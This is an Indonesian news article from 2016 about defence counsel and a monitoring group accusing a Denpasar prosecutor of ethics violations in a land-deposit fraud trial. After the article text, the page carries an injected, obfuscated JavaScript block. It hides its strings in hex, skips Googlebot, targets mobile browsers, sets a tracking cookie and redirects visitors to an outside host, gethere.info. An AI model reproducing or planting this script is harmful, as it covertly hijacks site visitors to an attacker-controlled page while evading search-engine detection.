Menu Click to open Menus
Home » Hukrim » JAKSA PRATAMA KEJARI DENPASAR TERANCAM DILAPORKAN DUGAAN PELANGGARAN KODE ETIK

JAKSA PRATAMA KEJARI DENPASAR TERANCAM DILAPORKAN DUGAAN PELANGGARAN KODE ETIK

(443 Views) Oktober 27, 2016 6:36 pm | Published by | No comment
jaksa-kembiryl-20161028_020730

Yuli peladiyanti SH Jaksa pratama Kejari Denpasar

(Denpasar).FN News.com.sidang diruang kartika 25/10 dengan agenda pembacaan nota pledoi ( pembelaan ) terhadap Made kembir ternyata makin memanas. perseteruan antara PH ( Penasehat Hukum ) I Made kembir Benhard Manurung SH, dengan JPU yuli peladiyanti SH ini di pastikan akan saling memuat materi dan pandangan hukum dalam subyektifitas masing-masing.

Pasalnya Jpu lakukan Replik setelah mendengar Pledoi dari pengacara berdarah batak ini.dalam kesimpulan pledoi, benhard menjelas kan kalau inti perkara adalah tiga kwitansi yang bertuliskan “titipan Dp tanah ida bagus artana”.sehingga menjerat klienya sampai ke kursi pesakitan dengan dakwaan pasal 372 jo 378 KUHP.

Dalam keteranganya, benhard Manurung menjelaskan. bahwa apa yang dilakukan oleh JPU dalam materi REPLIK tidak lain adalah untuk lakukan pembenaran akan tuntutanya. tetapi sifafatnya adalah subyektif dengan kata lain hanya berpijak pada pandangan hukum pribadi JPU.

” Replik yang di ajukan oleh JPU adalah pandangan hukum yang subyektif ,yang tidak lain untuk membenarkan tuntutanya dan menolak pledoi kami.

Selagi itu masih dalam koridor penegakan hukum bagi kami tidak masalah,akan tapi kalau JPU sengaja terus-terusan mencari kesalahan klien kami,jelas itu di luar konteks penegakan hukum itu sendiri.kami pun punya bukti dimana JPU sdh melakukan pelanggaran kode etik” paparnya, saat ditemui di sela sela kesibukan menjalankan profesinya.

keterangan dari PH made kembir tersebut ternyata menuai sejumlah pertanyaan, pelanggaran kode etik apa yang dimaksud benhard ?

Usut-usut punya usut di tempat terpisah ketua Presidium LPKP2HI ( Lembaga pemantau korupsi dan pemantau penegak hukum indonesia ),Moh. Hasan SH MH.membenarkan keterangan dari Benhard M SH.menurutnya banyak dugaan pelanggaran kode etik yang telah dilakukan JPU dalam menangani perkara ini, mulai dari statment nya di media cetak maupun online Yang mengatakan, bahwa sakit yang diderita kembir adalah “mengada-ada atau akal-akalan”

Lebih jauh lagi JPU Yuli peladiyanti juga pernah berstatment di media cetak lokal terbitan (7/9) dengan mengatakan bahwa made kembir ” pernah berjoget sewaktu didalam LP (Lembaga Pwmasyarakatan) ” adalah ungkapan yang tak bisa dipertanggungjawabkan ,sengaja ataupun tidak. statatment dari JPU tersebut telah menyerang diri pribadi made kembir jauh di luar dari konteks pokok perkara. sehingga membangun opini publik yang bersifat negatif dan mencoreng nama baik lembaganya sendiri. hal itu tentu tak luput dari akibat kurangnya control dan profesionalitas selaku pejabat publik.

Ironisnya lagi, statment dari JPU tersebut. secara tidak langsung telah memberi efect demage ( Menghancurkan )secara luas akan kehormatan terdakwa sendiri di mata publik.

” Seorang jaksa atau JPU dalam kode etik dilarang membangun opini publik yang dapat merugikan kelembagaanya,sanksinya pun berat, tergantung pada tingkat kesalahanya. bisa bisa oknum yang bersangkutan akan dipecat dengan tidak hormat” terang Hasan pada FN News.com.

“JPU kan tidak pernah melihat dengan mata kepalanya sendiri kapan dan jam berapa Made kembir berjoget? Imbuh hasan, Lalu rekam medis dari rumah sakit kasih ibu yang menyatakan bahwa made kembir mengidab penyakit diabetes kronis dibilangnya mengada – ada ” jelas hal itu cuma bentuk sentimen pribadi yang tak mempunyai dasar.”

Tak mengindahkanya Pasal 81KUHP jo Perma No.1 tahun 56 tentang “Pra yudisial” merupakan bentuk pembangkangan akan undang-undang dan jelas merupakan bentuk pengingkaran akan sumpah jabatan sebagai Jaksa.

Ditambah lagi adaya Surat petunjuk dari jaksa agung muda tentang penanganan perkara tindak pidana umum dengan obyek berupa tanah yang diregister dengan nomor ( B-230/Ejp/2013 ).

Disebutkan dalam point nomor enam (6) jelas tertulis ” jika menangani kasus yang obyeknya berupa tanah,dimana terdapat adanya gugatan perdata atas barang (tanah) atau tentang suatau hubungan hukum antara dua pihak tertentu,maka perkara pidana yang bersangkutan dapat dipending dan menunggu putusan penhadilan dalam perkara perdatanya dengan berpedoman

1.pasal 81 KUHP

2.Perma No.1 tahun 56

3.Sema no.4 tahun 1980

Apakah dikarenakan Kurangnya pemahaman dan profesionalitas dari JPU sehingga semua aturan dan petunjuk itu tak digubris sama sekali ataukah semua tindakan itu memang disengaja untuk melakukan pembangkangan akan undang undang dan lembaganya sendiri? Semua akan di jawab oleh Jamwas (jaksa agung muda pengawasan)

Masarakat atau aliansi yang menamakan dirinya “koalisi masyarakat sadar hukum” terdiri dari LPKP2HI dan LBH Tri Daya Cakti dalam waktu dekat akan melaporkan oknum JPU tersebut ke Jaksa Agung Muda pengawas, atas dugaan pelanggaran kode etik. tak tanggung-tanggung merekapun merekomendasikan Yuli Peladiyanti SH untuk dipecat dengan tidak hormat.

Saat dikonfirmasi,Jamwas Widyo Pramono menerangkan ” semua laporan secara resmi akan di tindak lanjuti secara profesional dan proporsional ,kalau memang ditemukan adanya pelanggaran kami tak akan segan-segan untuk memprosesnya,dan semuanya akan kami sampaikan nantinya dihadapan publik ” tegasnya pada FN news.com. ( Jn )

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Categorised in:

No comment for JAKSA PRATAMA KEJARI DENPASAR TERANCAM DILAPORKAN DUGAAN PELANGGARAN KODE ETIK

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *